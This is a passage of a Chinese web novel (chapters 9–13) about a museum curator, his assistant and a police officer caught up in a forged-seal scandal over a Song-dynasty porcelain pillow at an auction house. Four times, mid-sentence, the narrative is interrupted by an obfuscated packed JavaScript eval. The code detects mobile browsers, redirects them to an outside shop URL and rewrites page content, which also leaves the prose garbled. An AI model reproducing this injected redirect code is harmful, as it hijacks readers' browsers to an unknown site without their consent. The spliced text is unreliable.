最后,馆长,我看错你了,原来你的套路这么深,连宝爷这样的精明大佬都被你给坑了。还有,原来我没猜错,馆长你在收藏行里真是反面典型啊,还是人尽皆知的那种。 9. 第 9 章 世嘉拍卖行春季拍如期举行,虽不说是万众瞩目,但也绝对是引起了行内的莫大关注,身为行内数一数二的拍卖行,世嘉拍卖行本身就颇有影响力,再加上春拍前那两次新闻发布会引起的关注,自然是让世嘉拍卖行的名气又往上窜了窜,虽然这名气并不是正面的。 而那只北宋定窑孩儿枕,就是关注的焦点。世嘉拍卖行表现得硬气无比,就是不把孩儿枕撤拍,咬死了这件拍品保真。 但大藏家宝爷却在拍卖会举行的前一天放出风声,“一眼假”说了,他看好这件孩儿枕。普通收藏爱好者大概没听说过行内这个“一眼假”是何许人也,但有实力的藏家却几乎没几个不知道的,据说此人“眼力无双”,但凡他说看好哪件古董,基本上百分百是赝品,未有例外者。有些性格谨慎精明的大藏家在购买高价古董时,哪怕身边的专家团队都看好这件古董,也要把“一眼假”请过来再看一眼,只要“一眼假”也说看好,大藏家二话不说,立刻弃拍。 宝爷就是这样的大藏家,他请过“一眼假”五次,一次都没有错过,只凭这五次,“一眼假”至少替他挽回了将近两个亿的损失。后来,宝爷将名下一家公司的一成干股当成酬谢送给了“一眼假”,每年光是分红,就高达六百多万,而且还是逐年递增。宝爷不在乎钱,钱,他有的是,他在乎的就是“一眼假”这一眼的本事。 所以,无论世嘉拍卖行的危机公关做得有多好,无论多少专家教授认为孩儿枕是真品,都注定了它在这场拍卖会上,无人问津。 孩儿枕的起拍价,就高达一千八百万,这是被专家鉴定为国宝级的古董,按正常情况,最后的成交价绝对不会低于七千万。这么说吧,有钱买得起的,不信“一眼假”也信宝爷,宝爷都不拍了,他们当然不能花钱买假货,而层次达不到知道“一眼假”和宝爷的事迹的竞拍人,也出不起这个高价。 如果世嘉拍卖行知道宝爷放出了风,哪怕自打脸也会把孩儿枕从拍卖名册里撤下去,可偏偏得到消息晚了一步,拍卖会已经开始了。 负责这次春季拍的李尚晋气得砸了自己最心爱的紫砂杯,举办了多少次拍卖会,还是第一次出这么大的漏子,大老板跟前不好交待不说,行内也得被多少人笑话。 “这件事,警方那里有没有查出什么线索?”他问的是郑河,这次危机公关的发言人,也是跟警方接触的联系人。 郑河无奈道:“昨天警方才介入,哪里查得出什么线索,存放孩儿枕的保险柜没有被打开过的迹象,监视摄像头也没有拍到异常,拍卖行内部进行了排查,没人靠近过保险柜,老李啊,这事儿,太他、妈的诡异了。” 孩儿枕被放入保险柜之前,明明里外都检查过,鬼才知道那枚高仿章是怎么被人粘上去的。 李尚晋脸色难看到极点,所谓的内部排查,查的就是他自己,只有他拥有保险柜的开启密钥,真要说有人在孩儿枕上动手脚,那除了他李尚晋,再没有别人有这个机会和能力。但他怎么可能自砸饭碗,这次还好大老板是信任他的,否则,别说是主持春季拍,没让他自己去警察局里交待就算是顾念情旧了。 这时内部电话突然响了,李尚晋没心情听,还是郑河伸手按了接听键。 前台美女甜美的声音从里面传来:“经理,有位奚警官要见您,他说他是这次案子的负责人。” 郑河看了李尚晋一眼,见李尚晋点点头,才道:“请他上来。” “奚梵高警官,昨天我去报案,就是他替我做的笔录。” 趁着人还没来,郑河给李尚晋大致介绍了一下。 “人看着很年轻,但气势很盛,我瞧着不像是个寻常人物。” 李尚晋只是哼了一声。 没一会儿,人来了。果然像郑河说的,人看着很年轻,顶多二十七八的模样,而且长得还很帅,就是神态有些高冷傲气,不好接近。 “奚警官,你好。”李尚晋收起了难看的脸色,挤出笑容,上前握了握手。 他在拍卖行里干了多少年,什么样的权贵富豪没有见过,见到奚梵高的第一眼,就被对方身上的强大气场给惊到了,忍不住有点怀疑这位是不是高、干子弟下放到地方警察局里来镀金的,心情再不好,也不敢给人脸色看。 “李经理,我今天来,一是想看看现场,二是想看看那件孩儿枕,还有些细节问题,需要你们提供。”奚梵高开口道。 如果甘文在这里,他就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729829|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃惊的发现,奚梵高的声音,和毕馆长很像,不是声线像,而是语气中都透着一抹令人无法拒绝的气息。 果然,李尚晋连拒绝的念头都生不出,一口答应,然后对郑河道:“你带奚警官去地下收藏室,我去拍卖厅取回孩儿枕。” 孩儿枕还在保险箱里,没有他到场,谁也打不开。 郑河有些意外的看了李尚晋一眼,没想到他这位顶头上司加多年老友今天这么好说话,当下便道:“奚警官,请跟我来。” 孩儿枕作为压轴拍卖品之一,自然没这么快上拍,不过装孩儿的保险箱,已经运送进了拍卖大厅后面的临时存放间,李尚晋这么积极的同意把这件拍品取出来,当然是因为他有了合理的理由把孩儿枕撤拍,虽然还是稍稍有点自打脸,但总比当众流拍还要继续被人质疑孩儿枕的真假,连带的影响拍卖行的声誉要好得多。 等他把拍卖那边的手续走好,让两名保安抬着保险箱回到经理室的时候,郑河也正好领着奚梵高勘察完现场回来。 “这就是那件拍品?”奚梵高看了看保险箱。 李尚晋示意保安放下保险箱,让他们门外守着,然后小心翼翼的打开保险箱。 “奚警官,你看看,这件孩儿枕,造型,釉色,还有底下的素胎,哪里不真,尤其是积釉的地方,这些大小不一的气泡,是典型的北宋定窑特征,至今无人能仿制,竟然有人造谣它是赝品,还用了卑鄙的手段粘上高仿章,奚警官你明察秋毫,一定要替我们找出那个人,用法律的手段制裁他。” 李尚晋喋喋不休,他知道眼前这位气场强大、又高冷傲气的奚警官未必能听懂,但他得加深世嘉拍卖行绝对不拍卖赝品的印象,只要警方能在结案的时候提上一句半句,这名誉就挽回来大半了。 奚梵高没有理会李尚晋,他的目光落在象牙白的孩儿枕上,黑亮的眼眸里,仿佛有一抹蓝绿色的光芒闪过,明灭幽暗。 “李经理,做为证物,这件孩儿枕,我要将它封存带回局里,直到结案之后,才能归还。” “可以,当然可以。”李尚晋求之不得,警方封存证物,多好的撤拍理由啊。 “那么,就请李经理跟我回局里办手续吧。” 10. 第 10 章 甘文并不知道这场拍卖会后面发生的变故,此时他正代表毕馆长,坐在拍卖厅里,看着台上正在拍卖一件清朝的珐琅彩海碗,周围一个熟悉的人也没有,哦,有一个,就是宝爷的那位妖娆多姿的美女助理。 原来真正的大佬都不会亲身来拍卖场,都是助理出面啊。甘文顿时心中释然,难怪毕馆长宁可窝在他的办公室品评美酒……咦,毕馆长不是不好酒吗?想想入职宴上,毕馆长滴酒不沾,再想想办公室里,那一酒柜的好酒,甘文突然就犯了糊涂。 就在他走神的时候,耳边突然传来一声细细浅浅的“哥哥,快让毕时鹤来救我”的呼声。 甘文一呆,回过神来,下意识四下张望,却见台上正在落捶,那件珐琅彩已经有了下家。拍卖厅里气氛很热烈,似乎并没有什么异常的。 难道刚才走神太过,产生了幻听? 甘文揉揉耳朵,凝神注意周围的动静,却没有再听到那细细浅浅的呼声。大概真的是幻听,可是……他为什么心里总有些不安呢? 也许是他第一次来拍卖行,有点不习惯这里的气氛,看了看进来时,拍卖方赠送的拍品图册,离压轴拍品上场中间还隔着六件拍品,还有点时间,甘文决定先出去走走透透气。 出了拍卖厅,转过拐角,就是拍卖行专门布置的休息间,竞拍人或者是像甘文这样的代表竞拍人来的,来得早了,拍卖还没有开始,又或者是拍卖中途累了想出来透透气,就可以在休息间的高档沙发上坐着歇歇,喝点饮料,或是抽根烟,拍卖厅里可是不许抽烟的。 休息间挺大,南面不是墙,而是整块的落地窗,玻璃擦得十分明亮,可以清晰的看到外面的景致。 甘文才给自己倒了杯水,一扭头,就透过落地窗,看到了李尚晋,当然,他并不认识这位李经理,也不知道自己的馊主意把这个人给坑得不轻。 李尚晋的身后,跟着两名保安,保安手里抬着一只保险箱,正往停车场走去。而走在李尚晋左前侧的,才是真正吸引甘文的焦点。 好帅气的男人。 长得帅不是关键,关键是他身上的制服,甘文总认为穿制服的男人,无形中会提高逼格感,而且是浑然天成,绝对比脑抽馆长大晴天里撑把“受命于天”的黑伞要来得自然得多。 可问题是,他这会儿一点也不想看到警察制服。他条件反射性的想挡脸,但已经迟了,因为那个人也同时转头向他看来。 可恨玻璃太清晰,知道挡脸已经迟了,甘文颓然的放下手,然后就看到那个穿着警察制服的男人,对他露出一个说不出是什么感觉的微笑,也不知道是不是阳光造成的反光,甘文总觉得,那个人的眼睛里,有一抹幽暗光彩一闪而过,诡异得很。 完了,看到警察都觉得他诡异,可见自己已经心虚成什么样儿了,甘文一再唾弃自己不是干坏事的料,又不禁为那个卧底担心起来,千万……不要被抓到马脚啊。 脑子里一通胡思乱想,再回神时,落地窗外已经没有了人影。甘文一看时间,他在外头已经耽搁了半个小时,赶紧又回了拍卖厅。 压轴拍品已经登场,正是抬价抬得最凶的时候,其中以宝爷的那位美女助理举牌子的次数最多,一次次的把别人的叫价给压了下去,最后成功的将这件拍品收入囊中。 甘文又低头看了一眼图册,下一件,就该是孩儿枕了。 可孩儿枕没有出现,出现的是郑河,一脸郑重的通知竞拍人,那件孩儿枕被警方当成证物封存带走。 甘文几乎呼吸停滞,然后,他想起了刚才看到的那只保险箱,原来,孩儿枕就在他的眼皮子底下,被人带走了。 心中的不安蓦然加深,汹涌如浪潮,一下一下的拍打着他,甘文坐不住了,立刻起身回了展览馆,他要马上告诉馆长这件事。 “馆长……” 办公室里空无一人,甘文呆了一下,回头看门后,黑伞也不在,连忙又跑下楼,一把抓住袁枚。 “袁哥,馆长呢?” “出去了啊。” 袁枚手里拿着块看不出本来色泽的抹布,正在给一匹仿唐三彩的骆驼擦拭,不知道是不是错觉,那骆驼的眼睛水汪汪的,看着像是快要哭的感觉。 甘文此时当然没有心情观注骆驼,急道:“去哪里了?” “我哪儿知道,你给他打电话呗。”袁枚毫不在意道。 甘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729830|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文一拍额头,看他急的,都傻了。 “馆长的手机号码是多少?” 他是真傻,竟然到现在都没有记下馆长的手机号码,泪流满面,感觉他这个不合格的助理就快要滚蛋了。 “宝爷请我喝茶。” 电话拨通了,毕馆长的声音从手机里传出来,一如既往的威严,有着奇妙的安慰力量,甘文有些失措混乱的心情突然间就平静下来。 “馆长,孩儿枕没有上拍,被警方当做证物封存带走了。” “嗯,我知道了。”馆长的声音平平淡淡,没有意外,也没有失望。 甘文迟疑了一下,才问道:“接下来我该做什么?” 馆长安排给他的第一件事,就没干得圆满,中间还老出岔子,他心里都觉得羞愧。 “明天是周末,你休息好就行,周一上班,我自然有工作交待你。”毕馆长说着,就要挂电话。 “等等,馆长……”甘文急忙道,“我……我在拍卖行的时候,好像产生了幻听,听到一个声音在说‘哥哥快叫毕时鹤来救我’,我……我是不是太紧张了?” 毕馆长眼神猛的一缩,迟迟未语。 “馆长?馆长你在听吗?馆长你有没有认识的心理医生,我想去做个心理疏导……” “没有必要,你只是这两天忙了点,回家好好休息就行。” 毕馆长挂掉电话,他这时并没有跟宝爷喝茶,因为车还在路上,开车的人还是秦士勇。 看着窗外一栋栋倒退过去的建筑,毕馆长一向抿得很紧的嘴角,慢慢向上翘起一个微小的弧度。 终于……找到你了! 他的唇无声张合,表情像是在笑,又像是在嘲讽着什么,搁在手边的黑伞上,无声无息的闪过一道异彩,如阳光般耀眼。 “阿勇,去警察局。” 甘文看着已经黑了屏的手机,愣了一会儿,挠挠头,他决定听馆长的,回家好好休息,等到周一,他一定要以最饱满的精神投入工作中。 看着甘文瞬间就恢复了精神和斗志,在旁边从头听到尾的袁枚对着眼泪汪汪的骆驼感叹了一声。 “还是馆长的套路深啊!” 11. 第 11 章 蓝博基尼停在警局外面,差不多五十米的距离,不远也不近。毕馆长没有下车,只是隔着窗,眯着眼看着那里,一只手轻抚在黑伞上,一下又一下,那伞上闪过的光彩,异常的热烈,热烈到驾驶位上的秦士勇,都有些吃不消了。 “馆长,要不要我进去探一探?” 毕馆长抿住唇角,淡然道:“羊入虎口吗?” 秦士勇:“……” “他会自己来找我,不用急。”毕馆长靠到椅背上,双眼微合,闭目养神。 大概过了十几分钟,车窗被人敲响,不轻不重,正好三下。 秦士勇没有动,他是看着那个人从警局里走出来,一步一步,不急不徐,阳光斜照在他的身上,却没有折射出任何光彩,仿佛那个人的身体就是一个黑洞,哪怕是无形无质的光,靠近了也会被吞噬。 亲眼看到那个人的时候,他才听懂了馆长说“羊入虎口”四个字的真义。 那个人,只有馆长才能镇得住。 毕馆长缓缓睁开眼,看着车窗外的人,深深的打量了一眼,然后降下玻璃,淡淡道:“警官,有事?” “先生,这里不准停车。” 高冷傲气的警官,腰背挺直的站在黑色的蓝博基尼边上,满脸都是不悦的表情,像是不小心吃了块有苍蝇的蛋糕,那是一种极为甜美的……恶心感! 毕馆长抬了抬眼皮,神色仍是淡淡的道:“你穿的好像不是交警制服。” 奚梵高冷冷盯着他,道:“但我懂得交通法规,如果先生认为需要,那么我可以请交警过来处理。” “好吧,我立刻离开。”毕馆长微抬下巴,“阿勇,走。” 奚梵高退后几步,听着蓝博基尼的车身里隐约传出的引擎转动声,脸色依然难看。 毕馆长升起车窗玻璃,升到一半,又按停,双目在奚梵高的身上一扫,道:“这身制服很适合你。” 奚梵高面无表情,身上散发出拒绝的气息,不接受来自毕馆长的称赞。 “国旗在上,宪法在上,人民在上……警官,既然穿了这身制服,就是值得托付和信任的人,那么,宋慈就交给你了。” 话音落下,车窗紧闭,蓝博基尼开始加速。 奚梵高脸色微变,迟疑了一下,眼看蓝博基尼就要没入滚滚车流,他猛然往前迈了一大步,双目中,有幽暗的光彩一闪而过。 “毕时鹤,为什么建国后不许成精?” 低沉的声音,蓦然响在了毕馆长的心中,极尽威严与冷肃,透着无法拒绝的气息,而近在咫尺的秦士勇却完全没有察觉到这个声音。 “理由啊……”毕馆长眯起眼,手下的黑伞亦有光彩闪过,“你猜。” 这个声音同样响在了奚梵高的心头,令他的神情越发的冷漠,却又隐隐夹杂着几分恼火。看着蓝博基尼消失在滚滚车流中,他挺直身体,渐渐的,目光变得十分的平静。 最后,他的唇角微微勾起一个轻浅的弧度,然而整个人的气质,却比之前更加的高冷骄傲。 毕时鹤,你与我……来日方长! 虽然说周末两天,甘文应该在家里好好休息,但他还是没能闲得下来,一大早就溜溜达达的去了市博物馆。干一行爱一行只能算个口号,但干一行了解一行,却是必须的。 S市虽然挤不进一线城市的行列,但却山清水秀,历史悠长,人文景观多,发掘出来的古董也不少,毕竟,大多数山清水秀之地,也意味着风水好,古墓是不少的,这些年城市改建大兴,挖广场,修地铁,建高楼,哪个城建工程项目在施工的时候,没挖出一两座古墓,挖出了是正常,没挖出来,才叫新闻。 虽然说出土的大多数国宝级的古董基本上都没能留在市博物馆,但留下的普通古董却不少,所以市博物馆里还是颇有看头的。 当然,对古董缺乏鉴赏力的人来了,也就只是看个热闹而已。甘文就是抱着学习的心态,来看了一场热闹,虽然他很认真,可不懂还是不懂。 这些黑乎乎的瓦片,价值在哪里?能告诉人们多少历史细节?那一堆破破烂烂的陶片,连拼个完整陶罐都拼不出来,又能带给人多少知识? 哟,这里有个还算完整的,是个石马槽,看着很粗糙,得亏是摆在博物馆里,这要是路上看到的,甘文大概只会单纯的认为它是个形状有点奇怪的石头。 他转了一大圈,然后转到了书画展区,哦,这回总算有了欣赏的感觉,这些古董字画可比那些陶片、石马槽好懂多了,起码他懂得欣赏其中的艺术美感。 咦,这副明代的画有点意思,是副美人春睡图,美人斜卧榻上,如云的发髻下枕着的,就是个孩儿枕。 甘文被勾起了心事,看着那孩儿枕就有些迈不动脚了。便在这时,他的衣角突然被人拉了拉,一个老气横秋的清脆童声在耳边响起。 “哥哥,你喜欢画上的美人? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729831|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给你牵线做媒吧。” 甘文听得啼笑皆非,一低头,就看到宋慈那张白白嫩嫩可爱又讨喜的脸。 “你怎么在这里?”他捏捏宋慈的脸,手感真不错。 宋慈拍开他的手,脸黑□□:“我被人抓来做苦力,哥哥你要救我。” 甘文听得心头一跳,才觉得这语气有点熟悉,就听到旁边又有人道:“我们见过。” 一个高大的身影笼罩了甘文,凭空产生的压迫感,让甘文不得不退了两步,才看清这个人。哦,是上回那位在他眼皮子底下带走孩儿枕的警官。 “你好。”他下意识的打了一声招呼,却不太敢与这位警官先生对眼。奇怪,这种感觉跟馆长好像。 “奚梵高,这小子的临时监护人。” 奚梵高伸出手,跟甘文握了握。 “呃,我是……” “我知道你,毕时鹤的助理甘文。” 甘文愣了一下,才佩服道:“不愧是警官。”调查得好清楚,估计当时在场的竞拍人都没逃过调查。 “周末都不忘出来参观博物馆,甘助理很喜欢古董?”奚梵高笑问道。 “啊,只是想多了解一点……”甘文挠挠头,“以前我没接触过,现在毕竟……工作嘛,哈哈……” “理解,甘助理是个认真的人。”奚梵高点点头。 哎哟,这话听得人高兴,甘文眯起眼,笑得开心。虽然这位奚警官有些地方像馆长,不过跟他相处交谈,却比馆长要轻松得多,要不是甘文还有点心虚,都想跟奚梵高当场交个朋友了。 “对了,奚警官,能不能冒昧打听一下,那件孩儿枕……案子结束后,还能送回世嘉拍卖行吗?” “当然,它是证物,只要来历没问题,就会物归原主。”奚梵高语意深长。 “那要是来历有问题呢?”甘文脱口问道。 如果能证明孩儿枕是世嘉拍卖行用欺诈的手段骗到手的,是不是能把孩儿枕还给真正的原主? “那就得具体情况具体办理,如果是盗墓所得,自然收归国有,如果是从别人的手上偷盗出来,只要有证据表明这件孩儿枕有传承来历,就会归还真正的主人。不过像这样的古董,多半是墓中出土,大概还是收归国有的可能性更大。” 甘文眼前一亮,收归国有,那正是那位考古专家至死不忘的心愿,啊,他要回去问问馆长,有没有办法证明孩儿枕来历有问题。 12. 第 12 章 周一,再次以饱满的精神状态投入工作中的甘文,准时准点的来到展览馆的时候,身后却多了个小尾巴——宋慈。 今天,展览馆里的人挺全的,馆长、管理员、解说员和司机兼安保,全员都在,所以甘文一进门,就享受到了被四双眼睛一起盯住的超高待遇,然后馆长助理不自觉的抹了一把冷汗,干笑道:“大家早啊。” 他身后的小尾巴却是的在四双目光的注视下蹦跳而过,操着老气横秋的童声边走边挥手道:“同志们好,同志们辛苦了。” 然后被毕馆长一伸手,揪着衣领给拎了起来。 “谁让你来的?” 宋慈手舞足蹈的对甘文伸出手,尖叫道:“哥哥,救我!” 甘文连忙上前把他从毕馆长的魔掌下解救出来,干笑道:“馆长,事情是这样的……” 简单点说,他被奚梵高给坑了,复杂点说……其实这事儿从头到尾也不复杂,在市博物馆里巧遇之后,他和奚梵高就带着宋慈这小子一起逛博物馆,没想到奚梵高虽然是个警察,但对古董的鉴赏非常有见地,两个人一边逛一边聊天,居然让甘文学到了不少东西。 所以等到了饭点儿,甘文理所当然的要请人吃顿便饭表示感谢,吃完了饭,奚梵高就很不好意思的表示他有件事情想请甘文帮忙。 甘文才受了他的恩惠,二话不说就拍胸脯打包票,可他没想到奚梵高居然让他帮忙照顾宋慈几天。 呃……这个忙…… “甘助理,宋慈的父母都在国外,他也才被送回国内没几天,转学手续还没有办好,也不能送他去学校,我手上有那件孩儿枕的案子,调查工作很繁重,这段时间恐怕都要加班加点,又不能把他一个人关在家里,他这个年纪正是最好动的时候,没个人看着不行,偏偏在S市他也没别的亲戚,连认识的人都没几个,倒是跟你投缘得很,你看……” 还看什么看,于公于私,甘文都得答应啊。于公,他还指着孩儿枕这桩事早日结案,让孩儿枕归于国有,完成考古专家的遗愿,让世嘉拍卖行受到应有的教训,所以只要是他帮得上忙的,肯定得帮,不能让这些小事耽误警官调查不是。 于私,甘文也挺喜欢宋慈的,却没想到这孩子的父母居然都在国外,也不知道是怎么想的,竟然把孩子一个人扔回国内,心真大。想想毕馆长也认识这孩子,大概跟奚梵高一样,和宋慈的父母也有什么亲戚朋友之类的关系吧,这样的话,他把宋慈带在身边,毕馆长应该不会介意……咳咳,大概吧! 当然,还有一个理由甘文没提,那就是奚梵高的声音和毕馆长一样,都有种让人无法拒绝的气势,甘文连拒绝的念头都没有生出过。 “总之,事情的经过就是这样了……” 说完前因后果,甘文讪讪的盯着毕馆长的……呃,衣服看,猜测毕馆长此时的表情,是生气呢还是生气呢还是生气呢? 毕馆长没有生气,他只是用一种恨铁不成钢的眼神看着被人卖了还全不自知的甘文,有点无奈的按了按额角。 “你跟我上楼,这小子让酒鬼带着。” 踢出去的皮球,一转眼就被塞了回来,毕馆长开始认真的考虑,他是不是该换个助理了。 “喂喂喂,毕时鹤你这是什么态度,我可是给你立下大功的……” 甘文没敢盯着毕馆长的脸看,但宋慈可敏锐得很,先是二话不说把他踢给奚梵高,现在又是这副样子,什么态度嘛,还敢嫌弃他不成? 毕馆长侧过身,一眼瞪来,宋慈顿时消音。好吧,他还是知道怕的,就他这身板儿,跳得再高,也跳不到毕馆长的头顶上去。 甘文乖乖的跟着毕馆长去了二楼的办公室。 “坐,喝什么自己拿。” 这一次,毕馆长没有给甘文倒酒,显然已经看穿了甘助理喝酒无能的本质。 甘文老老实实的从冰箱里拿出一瓶矿泉水,灌了两口,以缓解紧张的心情。 毕馆长敲了敲桌,道:“你的工作带着孩子不方便,以后就将宋慈交给袁枚带着,反正他闲着也是闲着。” 甘文差点把矿泉水喷出来,馆长,原来你也知道袁哥很闲啊。当然,这话他不能说出来,只好道:“好,也麻烦不了袁哥几天,奚警官说最多一个星期,宋慈的入学手续就能办好。” 毕馆长微抬眉,奚梵高这法子不错,宋慈太不安分,关进学校里接受再教育正好。 “这周的工作……” 甘文连忙认真的听。 “你就盯着奚梵高。” “啊?” 甘文懵懂,盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729832|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着奚警官干什么? 毕馆长双手抱胸,淡淡道:“需要我解释?” 甘文立刻摇头,福至心灵道:“馆长是关心案子的进展吧,你放心,我会时刻关注的。” 不,我只是想让你给奚梵高找点麻烦,毕馆长默默的想着,他发现,甘文的身上,似乎自带着成事不足败事有余的光环,连他都没抗得住,估计奚梵高也抗不住。 奚梵高能把宋慈这个皮球踢回来,他当然也能把甘文踢过去。来吧,互相伤害吧! 甘文见毕馆长没有再说什么,以为自己猜对了,心情一松,靠近两步,道:“馆长,我问过奚警官,说结案后,如果能证明孩儿枕的来历有问题,是出土文物,就能把孩儿枕收归国有,咱们是不是能提供点什么证据,或者去找找那位考古专家的儿子,也许他手上还能有点线索什么的?” 比如说,找到当年盗墓的那些人,证明孩儿枕是出土文物。 毕馆长唇角微勾,道:“这个想法不错。”说着,他从抽屉里取出笔和便签,龙飞凤舞的写下一个地址。 “这是考古专家儿子的地址和电话,你可以提供给奚警官,最好是你跟着一起去。” “啊,这真是太好了。” 甘文十分惊喜,接过便签纸,低头一看,忍不住赞叹道:“馆长,你写的字太好看了。”简直就能直接当字体素材用。 “有拍马屁的工夫,不如好好工作更让我高兴。” 记得多给奚梵高找点麻烦啊。 “是,馆长,那我现在就去给奚警官提供线索。” 甘文兴冲冲的下楼,离开前还没忘了感谢袁枚帮他照顾宋慈,然后又摸摸宋慈的头,叮嘱他在展览馆里乖乖的跟着的袁哥,承诺下了班后带宋慈去游乐场玩,然后才揣着那张便签去进行警民合作共建合谐社会的伟大事业了。 宋慈满脸怨念的盯着他离开的背影,对袁枚抱怨道:“馆长把我变成小孩子,是故意整我的吧。”整天不是被人摸头,就是被人捏脸。 袁枚咧了咧嘴,道:“千万不要得罪馆长。” 宋慈:“……” 他干啥了,他就是觉得馆长大晴天撑伞显得很傻逼而已……哦,他错就错在心直口快,想啥说啥。 毕时鹤你个小心眼儿的! 13. 第 13 章 那位考古专家姓贺,他的儿子名叫贺然,目前租住在S市辖管的县区,从市区出发,走高速,开车两个多小时才能到。县区里有个工地,贺然就在工地上搬砖。 说出来简直让人心酸,贺然虽然没有子承父业学考古,但也算是大学里出来的高才生,搞编程的,大小也算个IT精英,竟然沦落到在工地上和那些农民工们一起做重体力活。 奚梵高的调查效率很高,甘文向他提供线索不到半天,他就查出了贺然现在的情况。会沦落到这个境地,与世嘉拍卖行脱不开关系。 事情要追述到三个月前,那时候世嘉拍卖行正在就春季拍进行第一次宣传,考古专家有位同行老友无意间看到宣传画册,发现画册里的孩儿枕和他曾经在老友家里见到的一模一样,就找到了贺然,问他是不是把孩儿枕给卖了。这位老友是知道考古专家临终前的遗愿的,只当是贺然见钱眼开,没有遵从老友的遗愿,语气很难听。 贺然却是一肚子苦水无人诉,老父散尽家财买回来的国宝,却是个赝品,如今人没了,存款没了,连房子都没了,他都没脸跟人说,怕老父死后连最后一点颜面都保存不下来。 被老友质问的时候,贺然都懵了,不知道该怎么向这位长辈交待。后来,世嘉拍卖行在宣传的时候,对拍品搞了几次展览,贺然就跑去看了,一眼就认出孩儿枕正是自家被鉴定为赝品最后让人几百块钱就买走的那件。 这下子他怎么甘心,跑去找当初的鉴定专家要个说法,结果被冷嘲热讽了一通,鉴定专家死活不承认那件拍品就是当初他鉴定过的那件。 后来考古专家的老友终于知道了这件事的具体经过,对贺然叹了一口气,道:“你啊……太年轻……” 老友是知道这里头的水深的,事情再明显不过,贺然被人坑了,可这一行就是这样,靠的是眼力,有眼力的,就算是骗了人,那也叫捡漏,没眼力的,吃了亏也只能自认倒霉,还没法儿告人家诈骗。 可贺然脾气倔,不信这个邪,硬是跑到警察局去报案,可无凭无据的,警察局也没办法受理啊。贺然气不过,又想向媒体披露此事,但报道还没有出来,贺然就丢了工作,再然后,他在S市就处处碰壁,怎么也找不着工作了,最后不得不去了县区工地搬砖才算是有一口饭吃。 甘文从奚梵高口里知道了贺然的近况后,简直是气坏了,再没有这么欺负人的,怪不得毕馆长要让孩儿枕流拍呢,这要是让世嘉拍卖行得逞了,那不得气得人连饭都吃不下,心塞三天三夜。 所以在赶去县区的路上,甘文就对奚梵高道:“奚警官,你一定要帮帮贺然,那些人心太黑了,怎么能这么坑人呢?太过分了,你一定要申张正义,不能放过那些人。” “甘助理,你这么热心热肠,怎么不当警察呢?”奚梵高淡淡瞥了他一眼,这模样,真的很像毕馆长。 甘文的一腔热血瞬间就凉了,讪讪的道:“我也就只会嘴上喊喊。”真让他去干侦破工作,明明能破的案子也会变成死案,估计那时候就该受害人对他喊打喊杀了。 好吧,他承认,他笨,不是这块料。 “所以,你为什么坚持要跟我去县区?”奚梵高又淡淡道。 警察办案,让无关人员跟着,这明显是不符合规定的,虽然甘文找了个去县区有事办想搭警官的顺风车的破借口,奚梵高也完全可以不搭理他。之所以让甘文跟着,只有一个原因。 奚梵高不知道毕时鹤的葫芦里卖的是什么药。 还有一个不算理由的理由,就是他也想知道甘文有什么特殊的地方,竟然让毕时鹤肯找个外人当助理。 他就不怕甘文在展览馆里进进出出,早晚有一天发现不对劲吗? “哈哈……毕馆长让我去县区办事嘛。”甘文一脸无辜的打着哈哈,浑然不觉他欲盖弥彰的模样早就露了底。 嗯,他真不是块骗人的料。 奚梵高懒得戳穿他,警车在高速上一路向县区前行,抵达工地的时候,已经是下午四点多,出示了警官证,奚梵高没费什么力气,就见到了贺然。 贺然长得高高瘦瘦的,戴着副眼镜,一看就不是能干体力活的,但现实是他已经在工地上干了快两个月了。 “你们是为了孩儿枕的案子来的?”听到奚梵高说明来意,贺然又惊又喜,“你们肯受理这件案子了?” “抱歉,警察局受理的是另一桩案子……”奚梵高没有考虑贺然的心情,将案子的情况大致告诉贺然。 甘文在旁边看着,明显察觉贺然知道警方受理的居然是世嘉拍卖行报的案,整个人突然就没了精气神。他虽然不是贺然,但却特别能体会贺然此时此刻心里的憋屈。 